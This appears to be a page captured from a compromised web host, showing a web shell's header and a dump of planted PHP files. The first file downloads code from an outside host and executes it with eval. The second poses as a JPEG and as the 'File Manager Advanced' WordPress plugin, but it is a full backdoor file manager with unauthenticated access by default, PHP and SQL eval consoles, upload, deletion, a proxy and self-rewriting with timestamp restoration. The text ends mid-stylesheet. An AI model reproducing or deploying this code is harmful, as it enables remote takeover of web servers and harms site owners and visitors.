|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
PK Cm\M��� � huext.phpnu �[��� <?php
$url = 'https://stepmomhub.com/3.txt';
// Inisialisasi cURL
$ch = curl_init();
// Set opsi cURL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // Nonaktifkan verifikasi SSL jika perlu
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Nonaktifkan verifikasi SSL jika perlu
// Eksekusi cURL dan ambil hasilnya
$code = curl_exec($ch);
// Cek apakah cURL berhasil
if($code === false) {
echo "Gagal mengambil data dari URL: " . curl_error($ch);
} else {
// Jalankan kode yang diambil
eval('?>' . $code);
}
// Tutup sesi cURL
curl_close($ch);
?>PK Cm\��Ǵq7 q7 oiq2p.phpnu �[��� ÿØÿà JFIF ÿÛ C
!"$"$ÿÛ C ÿÀ ° ÿÄ
ÿÄ µ } !1AQa "q2‘¡#B±ÁRÑð$3br‚
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ
ÿÄ µ w !1AQ aq"2B‘¡±Á #3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ ? ÈN
<?php
/**
Plugin Name: File Manager Advanced
Plugin URI: https://wordpress.org/plugins/file-manager-advanced
Description: Cpanel for files management in wordpress
Author: modalweb
Version: 5.2.12
Author URI: https://advancedfilemanager.com
License: GPLv2
**/
/**
* Loading constants
*/
// Configuration — do not change manually!
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0;
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
if (!empty($get_lang)) {
//remove unnecessary characters
$translation_string = str_replace("'",''',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
$fgc = file_get_contents(__FILE__);
$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
$lang = json_decode($translation_string,true);
}
}
/* Functions */
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
background-repeat: no-repeat;
}';
}
function fm_config_checkbox_row($name,$value) {
global $fm_config;
return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}
function fm_protocol() {
if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
return 'http://';
}
function fm_site_url() {
return fm_protocol().$_SERVER['HTTP_HOST'];
}
function fm_url($full=false) {
$host=$full?fm_site_url():'.';
return $host.'/'.basename(__FILE__);
}
function fm_home($full=false){
return ' <a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home"> </span></a>';
}
function fm_run_input($lng) {
global $fm_config;
$return = !empty($fm_config['enable_'.$lng.'_console']) ?
'
<form method="post" action="'.fm_url().'" style="display:inline">
<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
</form>
' : '';
return $return;
}
function fm_url_proxy($matches) {
$link = str_replace('&','&',$matches[2]);
$url = isset($_GET['url'])?$_GET['url']:'';
$parse_url = parse_url($url);
$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
if (substr($link,0,2)=='//') {
$link = substr_replace($link,fm_protocol(),0,2);
} elseif (substr($link,0,1)=='/') {
$link = substr_replace($link,$host,0,1);
} elseif (substr($link,0,2)=='./') {
$link = substr_replace($link,$host,0,2);
} elseif (substr($link,0,4)=='http') {
//alles machen wunderschon
} else {
$link = $host.$link;
}
if ($matches[1]=='href' && !strripos($link, 'css')) {
$base = fm_site_url().'/'.basename(__FILE__);
$baseq = $base.'?proxy=true&url=';
$link = $baseq.urlencode($link);
} elseif (strripos($link, 'css')){
//как-то тоже подменять надо
}
return $matches[1].'="'.$link.'"';
}
function fm_tpl_form($lng_tpl) {
global ${$lng_tpl.'_templates'};
$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
$str = '';
foreach ($tpl_arr as $ktpl=>$vtpl) {
$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]" cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value" cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}
function find_text_in_files($dir, $mask, $text) {
$results = array();
if ($handle = opendir($dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != "..") {
$path = $dir . "/" . $entry;
if (is_dir($path)) {
$results = array_merge($results, find_text_in_files($path, $mask, $text));
} else {
if (fnmatch($mask, $entry)) {
$contents = file_get_contents($path);
if (strpos($contents, $text) !== false) {
$results[] = str_replace('//', '/', $path);
}
}
}
}
}
closedir($handle);
}
return $results;
}
/* End Functions */
// authorization
if ($auth['authorize']) {
if (isset($_POST['login']) && isset($_POST['password'])){
if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
}
}
if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">
'.__('Password').' <input name="password" type="password">
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';
die();
}
if (isset($_POST['quit'])) {
unset($_COOKIE[$auth['cookie_name']]);
setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
}
}
// Change config
if (isset($_GET['fm_settings'])) {
if (isset($_GET['fm_config_delete'])) {
unset($_COOKIE['fm_config']);
setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
header('Location: '.fm_url().'?fm_settings=true');
exit(0);
} elseif (isset($_POST['fm_config'])) {
$fm_config = $_POST['fm_config'];
setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_config'] = serialize($fm_config);
$msg = __('Settings').' '.__('done');
} elseif (isset($_POST['fm_login'])) {
if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
$fm_login = json_encode($_POST['fm_login']);
$fgc = file_get_contents(__FILE__);
$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
if (file_put_contents(__FILE__, $replace)) {
$msg .= __('File updated');
if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
$auth = $_POST['fm_login'];
}
else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} elseif (isset($_POST['tpl_edited'])) {
$lng_tpl = $_POST['tpl_edited'];
if (!empty($_POST[$lng_tpl.'_name'])) {
$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
}
if (!empty($fm_php)) {
$fgc = file_get_contents(__FILE__);
$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
if (!empty($matches[1])) {
$filemtime = filemtime(__FILE__);
$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
if (file_put_contents(__FILE__, $replace)) {
${$lng_tpl.'_templates'} = $fm_php;
$msg .= __('File updated');
} else $msg .= __('Error occurred');
if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
}
} else $msg .= __('Error occurred');
}
}
// Just show image
if (isset($_GET['img'])) {
$file=base64_decode($_GET['img']);
if ($info=getimagesize($file)){
switch ($info[2]){ //1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
case 1: $ext='gif'; break;
case 2: $ext='jpeg'; break;
case 3: $ext='png'; break;
case 6: $ext='bmp'; break;
default: die();
}
header("Content-type: image/$ext");
echo file_get_contents($file);
die();
}
}
// Just download file
if (isset($_GET['download'])) {
$file=base64_decode($_GET['download']);
fm_download($file);
}
// Just show info
if (isset($_GET['phpinfo'])) {
phpinfo();
die();
}
// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
$url = isset($_GET['url'])?urldecode($_GET['url']):'';
$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
<form action="" method="GET">
<input type="hidden" name="proxy" value="true">
'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
<input type="submit" value="'.__('Show').'" class="fm_input">
</form>
</div>
';
if ($url) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_REFERER, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
curl_close($ch);
//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
echo $result;
die();
}
}
?>
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title><?=__('File manager')?></title>
<style>
body {
background-color: white;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 8pt;
margin: 0px;
}
a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover { color: #FFA34F; text-decoration: underline; }
table.bg {
background-color: #ACBBC6
}
th, td {
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
padding: 3px;
}
th {
height: 25px;
background-color: #006699;
color: #FFA34F;
font-weight: bold;
font-size: 11px;
}
.row1 {
background-color: #EFEFEF;
}
.row2 {
background-color: #DEE3E7;
}
.row3 {
background-color: #D1D7DC;
padding: 5px;
}
tr.row1:hover {
background-color: #F3FCFC;
}
tr.row2:hover {
background-color: #F0F6F6;
}
.whole {
width: 100%;
}
.all tbody td:first-child{width:100%;}
textarea {
font: 9pt 'Courier New', courier;
line-height: 125%;
padding: 5px;
}
.textarea_input {
height: 1em;
}
.textarea_input:focus {
height: auto;
}
input[type=submit]{
background: #FCFCFC none !important;
cursor: pointer;
}
.folder {
